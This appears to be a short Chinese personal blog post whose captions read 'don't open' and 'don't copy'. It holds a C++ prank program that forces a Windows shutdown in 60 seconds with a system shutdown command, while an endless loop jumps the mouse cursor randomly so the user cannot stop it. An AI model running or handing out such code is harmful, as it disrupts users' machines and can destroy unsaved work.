跳到正文

个人记录

不要打开

QiYi_约 1 分钟
原文
文章信息与版本

文章信息

收录
2025年12月12日
更新
2026年5月30日
篇幅
约 1 分钟
获赞
1

版本

  1. v1当前

不要复制

C++
#include<bits/stdc++.h> 
#include<windows.h>
#include<cstdlib>
#include<ctime>
using namespace std;
int main(){
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    system("shutdown -s -t 60");
    while(1)
        SetCursorPos(rand()%x,rand()%y);
    return 0;
}
原文